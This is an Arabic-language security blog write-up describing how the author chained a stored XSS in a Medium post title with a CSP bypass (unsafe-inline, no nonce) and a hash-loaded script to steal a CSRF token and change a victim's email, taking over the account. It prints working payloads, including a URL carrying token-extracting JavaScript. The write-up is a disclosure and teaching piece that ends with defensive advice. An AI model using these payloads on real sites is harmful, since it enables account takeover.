مقال : اختراق حساب Medium بضغطة واحدة
السلام عليكم ، قبل يومين من الأن كنت ابحث في كوكل عن بعض البايلودات الجديدة وفجاة دخلت على موقع medium فجاة تم تشغيل باي لود XSS في الصفحة بدون ان اقوم باي شيء ؟!
بعد البحث وجدت ان الصفحة تحتوي على كود جافا سكربت يقوم بقراءة أسم الموضوع من دون فلترة ولكن الطول محدود لأسم الموضوع .
قمت بتطوير الثغرة من XSS محدودة الى ثغرة إختراق الحساب بضغطة واحدة للرابط واليوم سأشرح خطوات السلسلة وهو أمر مهم بالإختراق بتطوير الثغرة من ذات خطورة عادية الى خطورة أكبر عن طريق سلسلة من الأستغلالات .
البداية
في بداية الأمر بعد ان عرفت أين يكون حقن البايلود عملت حساب في الموقع وعملت موضوع جديد بإسم الباي لود لكي نجربه .
x"><script>alert(1337)</script>x
وبعد الدخول للصفحة تم تنفيذ الباي لود كالأتي :
تم تنفيذ الباي لود بنجاح لكن نريد ان نعمل إستغلال أقوى وأكثر خطورة عن طريق XSS .
بعد البحث وجدت ان الإيميل يتغير بدون باسورد لذلك اذا سرقنا Token يمكننا القيام بطلب CSRF وتغيير الإيميل لإيميل المهاجم بدون ان يعرف الضحية .
مشاكل واجهتني
- الطول الخاص بالموضوع محدود وحتى اذا وضعت إسم موضوع طويل لن يتم إظهار إلا بعضه .
- طلب تغير الإيميل يعمل على PUT وحسب وثيقة نفس المصدر لا يمكن ان نقوم بطلب من خارج الصفحة حتى لو كان token صحيحاً .
- وجود CSP شبه قوي على المصادر الخارجية سنشرحه الأن .
بعد ذلك لو كنت تملك ثغرة XSS وكان مكان الحقن يسمح بطول معين لذلك ستقوم بإستدعاء ملف JS من خارج الموقع وكالأتي :
في الصورة قد غيرت إسم الموضوع الى حقن ملف JS من خارج السيرفر . ويحتوي على alert(1337)x لو الأن شغلنا الموقع يجب أيضاً ان يظهر صندوق نص يحتوي على 1337 . لكن لو شغلت الصفحة الأن لن يعمل الباي لود !؟ لماذا ؟!؟ . بسبب وجود CSP تمنع تشغيل ملفات JS من خارج الموقع .
ما هي CSP ؟
CSP هي مختصر ل Content Security Policy ومعناها وثيقة أمن المحتوى ووظيفتها بتحديد إرشادات للمتصفح بكيفية تشغيل المحتوى ومصدره مع الخطوط او الصور او السكربتات . في أكثر الحالات حتى لو وجدت XSS لن تستطيع تشغيلها ما لم تتخطى CSP الأمر في بعض الأحيان صعب لكن في هذه المرة كان سهلاً علي تخطيها لوجود خطأ في اعدادها . بحيث الكود الاول تم تشغيله في نفس الصفحة لكن حين نستدعي سكربت من خارج السيرفر سوف يقوم بالرفض . لذلك فالحقن في الصفحة غير محمي بnonce وهو رقم او عبارة عشوائية تحدد ما يجب تشيغله في الصفحة في موقع medium لم يتم تحديد nonce فيمكن تشغيل اي سكربت في الصفحة .
وهذا خطأ شائع قد تم ذكره في مؤتمر hack in the box بواسطة اثنين من مهندسين كوكل الأمنين .
ومن السلايدات هذا السلايد الذي يتكلم عن السبب في حصول تخطي .
وكانت CSP الخاصة بموقع Medium في الصورة
التخطي تم عن طريق وجود الheader باللون الاصفر لاحظوا انه تم استخدام unsafe-inline والتي تسمح لجافا سركبت بالعمل في نفس الصفحة لو كان تم استخدام nonce لكان من الصعب جداً وليس المستحيل جعل الاستغلال يعمل .
تجميع الافكار
بعد ان جمعت المعطيات الان لنبدأ بعمل الاستغلال الصحيح وكل فكرة سنقوم بطرح المعطيات وحلها كما ياتي :
المعطيات |
الحل |
وجود CSP لا يمكن استدعاء سكربت خارجي | السكربت يجب ان يكون كله في الصفحة |
وجود SOP تمنع تغيير الايميل من طلب خارجي | يجب ان يتم الطلب من داخل الموقع نفسه |
طول الاستغلال محدود وقصير لا يمكن استعماله | تنفيذ سكربت قصير يستدعي سكربت طويل من احدى خواص الصفحة |
مشاكل في كتابة الاستغلال على الموقع | تجريب الاستغلال محلياً ثم تنفيذه على الموقع |
كتابة الاستغلال
بعد ان قمنا بجمع المعلومات الان سنستعمل الجافا سكربت لكتابة الإستغلال كاملاً
اولاً : يجب ان نقوم بسرقة التوكن لعمل طلب CSRF لتغير الايميل
التوكن موجود في الصفحة باسم xsrfToken في احدى وسوم السكربات .
لذلك سنقوم بعمل دالة تبحن عن التوكن وتخرجه برسالة alert لنتأكد من العمل قمت ببرمجة الدالة وكالأتي :
هذا السكربت في ملف html عادي لنجرب اذا كان الكود سيتم تنفيذه لكن سنشرح بعض خصائصه سيكون سهل الفهم على من يعرف لغة JS حين يتم تنفيذ الكود عن طريق وسم IMG في ONERROR سوف يقوم السكربت بالبحث في نص الصفحة الحالية على كلمة xsrfToken ويقوم بعدها بقراءة ما بعد هذه الكلمة ب12 مرتبة حسب طول الكلمة والفوارز (حتى يتم إظهار التوكن فقط) الى نهاية الصفحة ومن ثم يحسب طول التوكن الذي هو 16 فيقوم باظهار 16 حرف فقط واهمال الباقي . وبعد تشغيله نحصل على :
الإستغلال الأولي يعمل بشكل صحيح الأن لنجربه في الموقع . هذا الكود طويل سوف نقوم بعمل قراءة لهاش الصفحة وتحميله عليه .
لنقم بتسيمة الموضوع بالباي لود الأتي ليقوم بقراءة هاش الصفحة ثم تنفيذ الكود الطويل
<script>document.write(decodeURIComponent(window.location.hash));</script>
سوف يقوم document.write بعمل كتابة للكود الجديد في الصفحة الحالية ثم يقوم بتعديل المحتوى من الencode الخاص بالرابط عن طريق decodeURIComponent لقراءة window.location.hash وهذا هو هجوم DOM based XSS قد شرحناه سابقاً في مقال سابق . يمكنك الاطلاع عليه .
مقال : ثغرات DOM based XSS الجزء الأول.
مقال : شرح ثغرات DOM Based XSS الجزء الثاني.
سيبقى هذا السكربت مخزن في قواعد البيانات لذلك سيكون stored XSS يقوم بقراءة الرابط في كل مرة بدون الحاجة الى تجديده .الأن نقوم بتحميل السكربت على هاش الصفحة بعد # الرابط كالاتي:
https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">X
بعد الدخول على الرابط سيتم اظهار التوكن
ثانياً : الان نقوم بعمل السكربت الذي سيقوم بارسال طلب تغير الايميل مع استخدام التوكن الذي وجده في الصفحة
الأن سيقوم هذا السكربت بعمل طلب PUT لتغير الايميل الى [email protected] نقوم بوضع السكربت في الهاش كالأتي : هنا
بعد الضغط على الرابط سنفتح console المتصفح لنرى اذا تم ارسال الطلب بعد الضغط على الرابط
بالفعل تم إرسال طلب الى me/email لتغير الايميل وتم الحصول على 200 ok ومعناه ان التغير قد تم . لنذهب لنرى الايميل
تم الحصول على رسالة التغير بمجرد الدخول وعمل نسيت كلمة المرور سوف نحصل على الحساب بالكامل .
فيديو لكل ما تم ذكره هنا وتبين كيف يتم الهجوم
[embedyt] http://www.youtube.com/watch?v=Lt0eTmhedDg[/embedyt]
الاستنتاج
- استعمال nonce في CSP مهم جداً .
- يجب وضع تاكيد باسورد على تغيرر الايميل لتجنب CSRF .
روابط مفيدة
- https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.6
- https://en.wikipedia.org/wiki/Same-origin_policy
- https://abdullah-iq.blogspot.com
- https://en.wikipedia.org/wiki/Content_Security_Policy
لأي إستفسار إترك تعليقاً او تواصل معي عبر حسابي في تويتر. شيء أخير لا تنسى ان تفهم الأساسيات بدقة وهذا المقال يحتوي على مصطلحات وأساليب متقدمة ستتعلمها ان شاء الله في المستقبل لكن اهم ما عرفته في هذا المقال هو تطوير ثغراتك من ثغرات ذات تاثير متدني الى سرقة الحساب بالكامل وهناك فكرة تحدي جديدة سنقوم بنشرها قريباً تخص عمل سلسلة من الاستغلالات.
وسنقوم أيضا بشرح عمل سلسلة الإستغلال وربطها في دورتنا القادمة التي ستتكلم عن تطبيقات الويب من تقديمي يرجى الأطلاع عليها فور صدورها اذا كنت تريد فهم صناعة السلاسل الاستغلالية .
تحياتي وتحيات فريق “iSecur1ty”
شكرا لك اخي على الشرح مقال متعوب عليه
شكرا لكل من يعمل في موقع isecur1ty
حقيقة قناص لكل كلمة من معنى
** بكل مافي الكلمة من معنى
اهنيك ع تخطي العقبات في كتابتك للاستغلال
ما شاء الله عليك , فهمان الجافا سكربت فهم
الله يعطيك العافية ..من اجمل ما قرأت في هذا الموقع الرائع
اردت لفت انتباهك لحذف الملف الافتراضي في الدومين http://xxe-me.esy.es
شرح رائع من شخص رائع
شكرا لك ايها المبدع تحياتي
بصراحة مبدع جداً وقد شوقتني لتطوير افكاري وطرقي في الأستغلال بارك الله بك اخي
بارك الله فيك سيتم التجريب
شرح راااااااائع شكرا